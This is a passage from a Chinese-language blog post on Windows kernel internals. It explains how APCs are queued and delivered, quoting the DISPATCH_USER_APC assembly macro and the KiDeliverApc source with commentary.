class="line">&#125;</span><br></pre></td></tr></table></figure><p>插入APC时，会检查<code>NormalRoutine</code>是否为空，不为空的时候，检查<code>ApcMode</code>，如果此时的APC不为<code>KernelMode</code>，并且此时的KernelRoutine定义成了<code>PsExitSpecialApc</code>，那么此APC会被视为是用户态的APC，该APC请求会直接插入到队首，否则的话，系统会决定将当前的APC请求插入到队伍尾部。如果没有设置<code>NormalRoutine</code>，那么此时的Apc就会被视为特殊的内核APC，被插入到内核中APC中所有没有<code>NormalRoutine</code>的APC的尾部。</p><h3 id="apc调用时机">Apc调用时机</h3><p>在Windows中，Apc会在线程的<code>Irq</code>下降，或者系统调用、中断或异常处理结束的时候被触发。</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line">_KiServiceExit:</span><br><span class="line"></span><br><span class="line">        cli                                         ; disable interrupts</span><br><span class="line">        DISPATCH_USER_APC   ebp, ReturnCurrentEax</span><br><span class="line"></span><br><span class="line">;</span><br><span class="line">; Exit from SystemService</span><br><span class="line">;</span><br><span class="line"></span><br><span class="line">        EXIT_ALL    NoRestoreSegs, NoRestoreVolatile</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>此处为每一个系统调用/中断/异常处理 都会经过的地方。当来到这个函数的时候，都会经过这个<code>DISPATCH_USER_APC</code>，而这个函数最终会经过的函数如下:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br></pre></td><td class="code"><pre><span class="line">;++</span><br><span class="line">;</span><br><span class="line">; Macro Description:</span><br><span class="line">;</span><br><span class="line">;    This macro is called before returning to user mode.  It dispatches</span><br><span class="line">;    any pending user mode APCs.</span><br><span class="line">;</span><br><span class="line">; Arguments:</span><br><span class="line">;</span><br><span class="line">;    TFrame - TrapFrame</span><br><span class="line">;    interrupts disabled</span><br><span class="line">;</span><br><span class="line">; Return Value:</span><br><span class="line">;</span><br><span class="line">;--</span><br><span class="line"></span><br><span class="line">DISPATCH_USER_APC   macro   TFrame, ReturnCurrentEax</span><br><span class="line">local   a, b, c</span><br><span class="line">c:</span><br><span class="line">.errnz (EFLAGS_V86_MASK AND 0FF00FFFFh)</span><br><span class="line"></span><br><span class="line">        test    byte ptr [TFrame]+TsEflags+2, EFLAGS_V86_MASK/010000h ; is previous mode v86?</span><br><span class="line">        jnz     short b                             ; if nz, yes, go check for APC</span><br><span class="line">        test    byte ptr [TFrame]+TsSegCs,MODE_MASK ; is previous mode user mode?</span><br><span class="line">        jz      a                                   ; No, previousmode=Kernel, jump out</span><br><span class="line">b:      mov     ebx, PCR[PcPrcbData+PbCurrentThread]; get addr of current thread</span><br><span class="line">        mov     byte ptr [ebx]+ThAlerted, 0         ; clear kernel mode alerted</span><br><span class="line">        cmp     byte ptr [ebx]+ThApcState.AsUserApcPending, 0</span><br><span class="line">        je      a                                   ; if eq, no user APC pending</span><br><span class="line"></span><br><span class="line">        mov     ebx, TFrame</span><br><span class="line">ifnb &lt;ReturnCurrentEax&gt;</span><br><span class="line">        mov     [ebx].TsEax, eax        ; Store return code in trap frame</span><br><span class="line">        mov     dword ptr [ebx]+TsSegFs, KGDT_R3_TEB OR RPL_MASK</span><br><span class="line">        mov     dword ptr [ebx]+TsSegDs, KGDT_R3_DATA OR RPL_MASK</span><br><span class="line">        mov     dword ptr [ebx]+TsSegEs, KGDT_R3_DATA OR RPL_MASK</span><br><span class="line">        mov     dword ptr [ebx]+TsSegGs, 0</span><br><span class="line">endif</span><br><span class="line"></span><br><span class="line">;</span><br><span class="line">; Save previous IRQL and set new priority level</span><br><span class="line">;</span><br><span class="line">        RaiseIrql APC_LEVEL</span><br><span class="line">        push    eax                     ; Save OldIrql</span><br><span class="line"></span><br><span class="line">        sti                             ; Allow higher priority ints</span><br><span class="line"></span><br><span class="line">;</span><br><span class="line">; call the APC delivery routine.</span><br><span class="line">;</span><br><span class="line">; ebx - Trap frame</span><br><span class="line">; 0 - Null exception frame</span><br><span class="line">; 1 - Previous mode</span><br><span class="line">;</span><br><span class="line">; call APC deliver routine</span><br><span class="line">;</span><br><span class="line"></span><br><span class="line">        stdCall _KiDeliverApc, &lt;1, 0, ebx&gt;</span><br><span class="line"></span><br><span class="line">        pop     ecx                     ; (ecx) = OldIrql</span><br><span class="line">        LowerIrql ecx</span><br><span class="line"></span><br><span class="line">ifnb &lt;ReturnCurrentEax&gt;</span><br><span class="line">        mov     eax, [ebx].TsEax        ; Restore eax, just in case</span><br><span class="line">endif</span><br><span class="line"></span><br><span class="line">        cli</span><br><span class="line">        jmp     b</span><br><span class="line"></span><br><span class="line">    ALIGN 4</span><br><span class="line">a:</span><br><span class="line">endm</span><br></pre></td></tr></table></figure><p>这个<code>DISPATCH_USER_APC</code>函数首先会检查是否是v86模式，如果不是的话会检查当前的线程是否真的需要返回到用户态（也就是是不是为用户态的APC线程），不是的话就不会进入后面的调用过程；<br>之后会检查当前的线程中是否有<strong>用户态APC</strong>正准备执行（即是检查User APC Pending 标志位）如果没有的话也退出。<br>确认了会执行APC调用之后，首先将当年上下文保存（即所有的寄存器以及段寄存器），提升当前的IRQL至<code>APC_LEVEL</code>，最后尝试执行<code>KiDeliverApc</code></p><p>这里注意，这里有一段判断：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">AsUserApcPending</span><br></pre></td></tr></table></figure><p>这个地方说明，只有用户态APC准备执行的时候，整个APC才会被执行。</p><p>以上准备流程通过，就会正式进入APC调用过程.</p><p>之后就会来到这个对于APC调用的这个函数：</p><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br></pre></td><td class="code"><pre><span class="line"><span class="function">VOID</span></span><br><span class="line"><span class="function"><span class="title">KiDeliverApc</span> <span class="params">(</span></span></span><br><span class="line"><span class="params"><span class="function">    IN KPROCESSOR_MODE PreviousMode,</span></span></span><br><span class="line"><span class="params"><span class="function">    IN PKEXCEPTION_FRAME ExceptionFrame,</span></span></span><br><span class="line"><span class="params"><span class="function">    IN PKTRAP_FRAME TrapFrame</span></span></span><br><span class="line"><span class="params"><span class="function">    )</span></span></span><br><span class="line"><span class="function"></span></span><br><span class="line"><span class="function"><span class="comment">/*++</span></span></span><br><span class="line"><span class="comment"><span class="function"></span></span></span><br><span class="line"><span class="comment"><span class="function">Routine Description:</span></span></span><br><span class="line"><span class="comment"><span class="function"></span></span></span><br><span class="line"><span class="comment"><span class="function">    This function is called from the APC interrupt code and when one or</span></span></span><br><span class="line"><span class="comment"><span class="function">    more of the APC pending flags are set at system exit and the previous</span></span></span><br><span class="line"><span class="comment"><span class="function">    IRQL is zero. All special kernel APC&#x27;s are delivered first, followed</span></span></span><br><span class="line"><span class="comment"><span class="function">    by normal kernel APC&#x27;s if one is not already in progress, and finally</span></span></span><br><span class="line"><span class="comment"><span class="function">    if the user APC queue is not empty, the user APC pending flag is set,</span></span></span><br><span class="line"><span class="comment"><span class="function">    and the previous mode is user, then a user APC is delivered. On entry</span></span></span><br><span class="line"><span class="comment"><span class="function">    to this routine IRQL is set to APC_LEVEL.</span></span></span><br><span class="line"><span class="comment"><span class="function"></span></span></span><br><span class="line"><span class="comment"><span class="function">    N.B. The exception frame and trap frame addresses are only guaranteed</span></span></span><br><span class="line"><span class="comment"><span class="function">         to be valid if, and only if, the previous mode is user.</span></span></span><br><span class="line"><span class="comment"><span class="function"></span></span></span><br></pre></td></tr></table></figure><p>这里留意<code>TrapFrame</code>。这个参数可以称为<code>自陷框架</code>，相当于说是Windows在发生中断时，一个用于保持上下文的结构体。<br>这个函数非常长，我们分步骤来了解函数的流程</p><h4 id="apc调用前以及之后的确认">APC调用前以及之后的确认</h4><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br></pre></td><td class="code"><pre><span class="line">    <span class="comment">//</span></span><br><span class="line">    <span class="comment">// If the thread was interrupted in the middle of the SLIST pop code,</span></span><br><span class="line">    <span class="comment">// then back up the PC to the start of the SLIST pop. </span></span><br><span class="line">    <span class="comment">//</span></span><br><span class="line"></span><br><span class="line">    <span class="keyword">if</span> (TrapFrame != <span class="literal">NULL</span>) &#123;</span><br><span class="line">        <span class="built_in">KiCheckForSListAddress</span>(TrapFrame);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="comment">//</span></span><br><span class="line">    <span class="comment">// Save the current thread trap frame address and set the thread trap</span></span><br><span class="line">    <span class="comment">// frame address to the new trap frame. This will prevent a user mode</span></span><br><span class="line">    <span class="comment">// exception from being raised within an APC routine.</span></span><br><span class="line">    <span class="comment">//</span></span><br><span class="line"></span><br><span class="line">    Thread = <span class="built_in">KeGetCurrentThread</span>();</span><br><span class="line">    OldTrapFrame = Thread-&gt;TrapFrame;</span><br><span class="line">    Thread-&gt;TrapFrame = TrapFrame;</span><br><span class="line"></span><br><span class="line">    <span class="comment">//</span></span><br><span class="line">    <span class="comment">// If special APC are not disabled, then attempt to deliver one or more</span></span><br><span class="line">    <span class="comment">// APCs.</span></span><br><span class="line">    <span class="comment">//</span></span><br><span class="line"></span><br><span class="line">    Process = Thread-&gt;ApcState.Process;</span><br><span class="line">    Thread-&gt;ApcState.KernelApcPending = FALSE;</span><br><span class="line">    <span class="keyword">if</span> (Thread-&gt;SpecialApcDisable == <span class="number">0</span>) &#123;</span><br><span class="line"></span><br><span class="line">        <span class="comment">//</span></span><br><span class="line">        <span class="comment">// If the kernel APC queue is not empty, then attempt to deliver a</span></span><br><span class="line">        <span class="comment">// kernel APC.</span></span><br><span class="line"></span><br><span class="line">        <span class="comment">// 细节见后方分析</span></span><br><span class="line">    &#125;</span><br><span class="line">CheckProcess:</span><br><span class="line">    <span class="keyword">if</span> (Thread-&gt;ApcState.Process != Process) &#123;</span><br><span class="line">        <span class="built_in">KeBugCheckEx</span>(INVALID_PROCESS_ATTACH_ATTEMPT,</span><br><span class="line">                     (ULONG_PTR)Process,</span><br><span class="line">                     (ULONG_PTR)Thread-&gt;ApcState.Process,</span><br><span class="line">                     (ULONG)Thread-&gt;ApcStateIndex,</span><br><span class="line">                     (ULONG)<span class="built_in">KeIsExecutingDpc</span>());</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="comment">//</span></span><br><span class="line">    <span class="comment">// Restore the previous thread trap frame address.</span></span><br><span class="line">    <span class="comment">//</span></span><br><span class="line"></span><br><span class="line">    Thread-&gt;TrapFrame = OldTrapFrame;</span><br><span class="line">    <span class="keyword">return</span>;</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>首先获取当前的前程对应的进程，并且将对应<code>ApcState</code>中欸等<code>KernelApcPending</code>设置为<code>False</code>，表示此时没有在等待的内核APC调用（因为此时会对当前所有的内核APC进行调用）。如果此线程不允许进行Apc调用的话，那么直接进入结束环节：检查当前的进程是否为<code>ApcState</code>对应进程，并且还原当前线程的陷阱帧（也就是这个线程的原上下文）</p><h4 id="遍历当前的apc队列-内核态apc调用过程">遍历当前的APC队列——内核态APC调用过程</h4><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br></pre></td><td class="code"><pre><span class="line">        <span class="built_in">KeMemoryBarrier</span>();</span><br><span class="line">        <span class="keyword">while</span> (<span class="built_in">IsListEmpty</span>(&amp;Thread-&gt;ApcState.ApcListHead[KernelMode]) == FALSE) &#123;</span><br><span class="line"></span><br><span class="line">            <span class="comment">//</span></span><br><span class="line">            <span class="comment">// Raise IRQL to dispatcher level, lock the APC queue, and check</span></span><br><span class="line">            <span class="comment">// if any kernel mode APC&#x27;s can be delivered.</span></span><br><span class="line">            <span class="comment">//</span></span><br><span class="line">            <span class="comment">// If the kernel APC queue is now empty because of the removal of</span></span><br><span class="line">            <span class="comment">// one or more entries, then release the APC lock, and attempt to</span></span><br><span class="line">            <span class="comment">// deliver a user APC.</span></span><br><span class="line">            <span class="comment">//</span></span><br><span class="line"></span><br><span class="line">            <span class="built_in">KeAcquireInStackQueuedSpinLock</span>(&amp;Thread-&gt;ApcQueueLock, &amp;LockHandle);</span><br><span class="line">            NextEntry = Thread-&gt;ApcState.ApcListHead[KernelMode].Flink;</span><br><span class="line">            <span class="keyword">if</span> (NextEntry == &amp;Thread-&gt;ApcState.ApcListHead[KernelMode]) &#123;</span><br><span class="line">                <span class="built_in">KeReleaseInStackQueuedSpinLock</span>(&amp;LockHandle);</span><br><span class="line">                <span class="keyword">break</span>;</span><br><span class="line">            &#125;</span><br><span class="line"></span><br><span class="line">            <span class="comment">//</span></span><br><span class="line">            <span class="comment">// Clear kernel APC pending, get the address of the APC object,</span></span><br><span class="line">            <span class="comment">// and determine the type of APC.</span></span><br><span class="line">            <span class="comment">//</span></span><br><span class="line">            <span class="comment">// N.B. Kernel APC pending must be cleared each time the kernel</span></span><br><span class="line">            <span class="comment">//      APC queue is found to be non-empty.</span></span><br><span class="line">            <span class="comment">//</span></span><br><span class="line"></span><br><span class="line">            Thread-&gt;ApcState.KernelApcPending = FALSE;</span><br><span class="line">            Apc = <span class="built_in">CONTAINING_RECORD</span>(NextEntry, KAPC, ApcListEntry);</span><br><span class="line">            <span class="built_in">ReadForWriteAccess</span>(Apc);</span><br><span class="line">            KernelRoutine = Apc-&gt;KernelRoutine;</span><br><span class="line">            NormalRoutine = Apc-&gt;NormalRoutine;</span><br><span class="line">            NormalContext = Apc-&gt;NormalContext;</span><br><span class="line">            SystemArgument1 = Apc-&gt;SystemArgument1;</span><br><span class="line">            SystemArgument2 = Apc-&gt;SystemArgument2;</span><br><span class="line">            <span class="keyword">if</span> (NormalRoutine == (PKNORMAL_ROUTINE)<span class="literal">NULL</span>) &#123;</span><br><span class="line">    </span><br><span class="line">                    <span class="comment">//</span></span><br><span class="line">                    <span class="comment">// First entry in the kernel APC queue is a special kernel APC.</span></span><br><span class="line">                    <span class="comment">// Remove the entry from the APC queue, set its inserted state</span></span><br><span class="line">                    <span class="comment">// to FALSE, release dispatcher database lock, and call the kernel</span></span><br><span class="line">                    <span class="comment">// routine. On return raise IRQL to dispatcher level and lock</span></span><br><span class="line">                    <span class="comment">// dispatcher database lock.</span></span><br><span class="line">                    <span class="comment">//</span></span><br><span class="line">        </span><br><span class="line">                    <span class="built_in">RemoveEntryList</span>(NextEntry);</span><br><span class="line">                    Apc-&gt;Inserted = FALSE;</span><br><span class="line">                    <span class="built_in">KeReleaseInStackQueuedSpinLock</span>(&amp;LockHandle);</span><br><span class="line">                    (KernelRoutine)(Apc,</span><br><span class="line">                                    &amp;NormalRoutine,</span><br><span class="line">                                    &amp;NormalContext,</span><br><span class="line">                                    &amp;SystemArgument1,</span><br><span class="line">                                    &amp;SystemArgument2);</span><br><span class="line">        </span><br><span class="line">    <span class="meta">#<span class="keyword">if</span> DBG</span></span><br><span class="line">        </span><br><span class="line">                    <span class="keyword">if</span> (<span class="built_in">KeGetCurrentIrql</span>() != LockHandle.OldIrql) &#123;</span><br><span class="line">                        <span class="built_in">KeBugCheckEx</span>(IRQL_UNEXPECTED_VALUE,</span><br><span class="line">                                     <span class="built_in">KeGetCurrentIrql</span>() &lt;&lt; <span class="number">16</span> | LockHandle.OldIrql &lt;&lt; <span class="number">8</span>,</span><br><span class="line">                                     (ULONG_PTR)KernelRoutine,</span><br><span class="line">                                     (ULONG_PTR)Apc,</span><br><span class="line">                                     (ULONG_PTR)NormalRoutine);</span><br><span class="line">                    &#125;</span><br><span class="line">    <span class="meta">#<span class="keyword">endif</span></span></span><br><span class="line"></span><br><span class="line">                &#125;</span><br><span class="line">            &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">    </span><br><span class="line">                <span class="comment">//</span></span><br><span class="line">                <span class="comment">// First entry in the kernel APC queue is a normal kernel APC.</span></span><br><span class="line">                <span class="comment">// If there is not a normal kernel APC in progress and kernel</span></span><br><span class="line">                <span class="comment">// APC&#x27;s are not disabled, then remove the entry from the APC</span></span><br><span class="line">                <span class="comment">// queue, set its inserted state to FALSE, release the APC queue</span></span><br><span class="line">                <span class="comment">// lock, call the specified kernel routine, set kernel APC in</span></span><br><span class="line">                <span class="comment">// progress, lower the IRQL to zero, and call the normal kernel</span></span><br><span class="line">                <span class="comment">// APC routine. On return raise IRQL to dispatcher level, lock</span></span><br><span class="line">                <span class="comment">// the APC queue, and clear kernel APC in progress.</span></span><br><span class="line">                <span class="comment">//</span></span><br><span class="line">    </span><br><span class="line">                <span class="keyword">if</span> ((Thread-&gt;ApcState.KernelApcInProgress == FALSE) &amp;&amp;</span><br><span class="line">                   (Thread-&gt;KernelApcDisable == <span class="number">0</span>)) &#123;</span><br><span class="line"></span><br><span class="line">                    <span class="built_in">RemoveEntryList</span>(NextEntry);</span><br><span class="line">                    Apc-&gt;Inserted = FALSE;</span><br><span class="line">                    <span class="built_in">KeReleaseInStackQueuedSpinLock</span>(&amp;LockHandle);</span><br><span class="line">                    (KernelRoutine)(Apc,</span><br><span class="line">                                    &amp;NormalRoutine,</span><br><span class="line">                                    &amp;NormalContext,</span><br><span class="line">                                    &amp;SystemArgument1,</span><br><span class="line">                                    &amp;SystemArgument2);</span><br><span class="line">    </span><br><span class="line"><span class="meta">#<span class="keyword">if</span> DBG</span></span><br><span class="line">    </span><br><span class="line">                    <span class="keyword">if</span> (<span class="built_in">KeGetCurrentIrql</span>() != LockHandle.OldIrql) &#123;</span><br><span class="line">                        <span class="built_in">KeBugCheckEx</span>(IRQL_UNEXPECTED_VALUE,</span><br><span class="line">                                     <span class="built_in">KeGetCurrentIrql</span>() &lt;&lt; <span class="number">16</span> | LockHandle.OldIrql &lt;&lt; <span class="number">8</span> | <span class="number">1</span>,</span><br><span class="line">                                     (ULONG_PTR)KernelRoutine,</span><br><span class="line">                                     (ULONG_PTR)Apc,</span><br><span class="line">                                     (ULONG_PTR)NormalRoutine);</span><br><span class="line">                    &#125;</span><br><span class="line">    </span><br><span class="line"><span class="meta">#<span class="keyword">endif</span></span></span><br><span class="line">    </span><br><span class="line">                    <span class="keyword">if</span> (NormalRoutine != (PKNORMAL_ROUTINE)<span class="literal">NULL</span>) &#123;</span><br><span class="line">                        Thread-&gt;ApcState.KernelApcInProgress = TRUE;</span><br><span class="line">                        <span class="built_in">KeLowerIrql</span>(<span class="number">0</span>);</span><br><span class="line">                        (NormalRoutine)(NormalContext,</span><br><span class="line">                                        SystemArgument1,</span><br><span class="line">                                        SystemArgument2);</span><br><span class="line">    </span><br><span class="line">                        <span class="built_in">KeRaiseIrql</span>(APC_LEVEL, &amp;LockHandle.OldIrql);</span><br><span class="line">                    &#125;</span><br><span class="line">    </span><br><span class="line">                    Thread-&gt;ApcState.KernelApcInProgress = FALSE;</span><br><span class="line">    </span><br><span class="line">                &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">                    <span class="built_in">KeReleaseInStackQueuedSpinLock</span>(&amp;LockHandle);</span><br><span class="line">                    <span class="keyword">goto</span> CheckProcess;</span><br><span class="line">                &#125;</span><br><span class="line">            &#125;</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>通过遍历当前线程的<code>ApcState.ApcListHead</code>从而将用户态APC和内核态APC都进行一次完整的遍历。首先检查当前的队列中是否有APC请求，有的话需要检查队列是否为空，然后会取出当前队列首部中的APC对象，之后会尝试检查<strong>当前APC对象中是否包含NormalRoutine</strong>(注意，此时是Kernel Mode下的APC请求，但是仍然需要检查NormalRoutine)</p><ul><li>如果此时未包含Normal Routine,则此时直接执行KernelRoutine的函数。</li><li>如果此时包含，则会多检查一下当前的KernelApc是否处于正在执行的状态，并且此时内核的Apc是否被关闭。条件符合的时候，将当前的Apc从队列中摘除，修改当前的apc状态，并且<strong>首先调用内核态请求</strong>，然后检查<code>KernelApcInProgress</code>为False，以及<code>KernelApcDisable</code>未被设置为0，确保当前的<code>NormalRoutine</code>不为空，然后对<strong>调用当前的NormalRoutine</strong>，之后重新提高当前的IRQL，并且将<code>KernelApcInProgress</code>值为TRUE。</li></ul><p>通过反复的遍历，最终会将当前线程中的内核态APC遍历完成。<br>综上所述，内核态APC调用发生条件如下:</p><ul><li><p>发生在系统调用/异常处理/中断处理过程中</p></li><li><p>内核态APC队列不为空</p></li><li><p><code>KernelRoutine</code>将全部被调用</p></li><li><p><code>NormalRoutine</code>调用前，会检查</p><ul><li><code>KernelApcInProgress</code>为False，即当前<strong>未进行NormalRoutine调用</strong></li><li><code>KernelApcDisable</code>为0，即当前Apc未开启</li></ul></li></ul><p><em>注意：即使是内核态apc队列，也只有一个用户态函数(NornalRoutine)会在单次线程调用中被触发</em></p><h5 id="用户态下的apc调用">用户态下的APC调用</h5><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">//</span></span><br><span class="line"><span class="comment">// Kernel APC queue is empty. If the previous mode is user, user APC</span></span><br><span class="line"><span class="comment">// pending is set, and the user APC queue is not empty, then remove</span></span><br><span class="line"><span class="comment">// the first entry from the user APC queue, set its inserted state to</span></span><br><span class="line"><span class="comment">// FALSE, clear user APC pending, release the dispatcher database lock,</span></span><br><span class="line"><span class="comment">// and call the specified kernel routine. If the normal routine address</span></span><br><span class="line"><span class="comment">// is not NULL on return from the kernel routine, then initialize the</span></span><br><span class="line"><span class="comment">// user mode APC context and return. Otherwise, check to determine if</span></span><br><span class="line"><span class="comment">// another user mode APC can be processed.</span></span><br><span class="line"><span class="comment">//</span></span><br><span class="line"><span class="comment">// N.B. There is no race condition associated with checking the APC</span></span><br><span class="line"><span class="comment">//      queue outside the APC lock. User APCs are always delivered at</span></span><br><span class="line"><span class="comment">//      system exit and never interrupt the execution of the thread</span></span><br><span class="line"><span class="comment">//      in the kernel.</span></span><br><span class="line"><span class="comment">//</span></span><br><span class="line"><span class="keyword">if</span> ((PreviousMode == UserMode) &amp;&amp;</span><br><span class="line">    (<span class="built_in">IsListEmpty</span>(&amp;Thread-&gt;ApcState.ApcListHead[UserMode]) == FALSE) &amp;&amp;</span><br><span class="line">    (Thread-&gt;ApcState.UserApcPending != FALSE)) &#123;</span><br><span class="line"></span><br><span class="line">    <span class="comment">//</span></span><br><span class="line">    <span class="comment">// Raise IRQL to dispatcher level, lock the APC queue, and deliver</span></span><br><span class="line">    <span class="comment">// a user mode APC.</span></span><br><span class="line">    <span class="comment">//</span></span><br><span class="line"></span><br><span class="line">    <span class="built_in">KeAcquireInStackQueuedSpinLock</span>(&amp;Thread-&gt;ApcQueueLock, 